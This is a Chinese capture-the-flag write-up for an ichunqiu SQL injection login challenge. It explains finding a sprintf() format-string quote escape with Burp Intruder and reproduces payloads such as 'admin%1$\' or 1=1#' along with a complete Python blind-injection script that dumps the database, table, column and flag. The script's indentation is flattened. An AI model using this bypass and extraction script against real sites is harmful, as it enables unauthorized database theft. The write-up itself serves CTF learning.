i春秋SQLi

打开题目网页是个很简单的登录网页

先查看源码，抓包

都没找到可用的信息

依我所见这里应该就是一个注入

但是怎么输入都会回显username错误

直到输入admin

尝试admin#

Admin’#   username错误。。。

尝试万能密码。。。。。失败

先用bp去测试过滤的符号发现%会出现不一样的情况（刚学会的方法）

（测试方法

1. 抓包
2. 传intruder
3. Positions中clear其他变量给admin（需要测量的地方）后面加上一个字符
4. Payloads中add需要测试的字符串或则符号
5. start attack

   统计不一样的长度回显）

   回到网页中进行测试发现当username中存在%的时候会出现warning报错

   可能注入点就在这里了

   猜测就是sprintf()的漏洞

   关于sprintf()菜鸟教程给出如下解释

   这里附上一篇sprintf()漏洞利用的博客：https://blog.csdn.net/WQ_BCJ/article/details/85057447

   Payload:

   admin%1$\’ or 1=1#

   admin%1$\’ or 1=2#

   发现第一个会爆出密码错误第二个爆出用户名错误

   总结出or后面的内容如果错误则报出密码错误，如果正确就用户名错误

   所以这里就使用盲注

   这里附上一个dalao的脚本

   #coding:utf-8
   
   import requests
   import string
   
   def boom():
   url = r'http://083f8085e75f4ea099423ca97e616c729b921691cfe34e7c.changame.ichunqiu.com/index.php'
   s = requests.session()
   dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
   right = 'password error!'
   error = 'username error!'
   
   lens = 0
   i = 0
   while True:
   payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
   data={'username':payload,'password':1}
   r = s.post(url,data=data).content
   if error in r:
   lens=i
   break
   i+=1
   pass
   print("[+]length(database()): %d" %(lens))
   
   strs=''
   for i in range(lens+1):
   for c in dic:
   payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if right in r:
   strs = strs + c
   print strs
   break
   pass
   pass
   print("[+]database():%s" %(strs))
   
   lens=0
   i = 1
   while True:
   payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if error in r:
   lens = i
   break
   i+=1
   pass
   print("[+]length(table): %d" %(lens))
   
   strs=''
   for i in range(lens+1):
   for c in dic:
   payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if right in r:
   strs = strs + c
   print strs
   break
   pass
   pass
   print("[+]table_name:%s" %(strs))
   tablename = '0x' + strs.encode('hex')
   table_name = strs
   
   lens=0
   i = 0
   while True:
   payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if error in r:
   lens = i
   break
   i+=1
   pass
   print("[+]length(column): %d" %(lens))
   
   strs=''
   for i in range(lens+1):
   for c in dic:
   payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if right in r:
   strs = strs + c
   print strs
   break
   pass
   pass
   print("[+]column_name:%s" %(strs))
   column_name = strs
   
   num=0
   i = 0
   while True:
   payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if error in r:
   num = i
   break
   i+=1
   pass
   print("[+]number(column): %d" %(num))
   
   lens=0
   i = 0
   while True:
   payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
   data = {'username':payload,'password':1}
   r = s.post(url,data=data).content
   if error in r:
   lens = i
   break
   i+=1
   pass
   print("[+]length(value): %d" %(lens))
   
   i=1
   strs=''
   for i in range(lens+1):
   for c in dic:
   payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
   data = {'username':payload,'password':'1'}
   r = s.post(url,data=data).content
   if right in r:
   strs = strs + c
   print strs
   break
   pass
   pass
   print("[+]flag:%s" %(strs))
   
   if __name__ == '__main__':
   boom()
   print 'Finish!'
   

   　　

   （源码地址：https://www.ichunqiu.com/writeup/detail/157）

   直接用盲注就爆出了flag

6.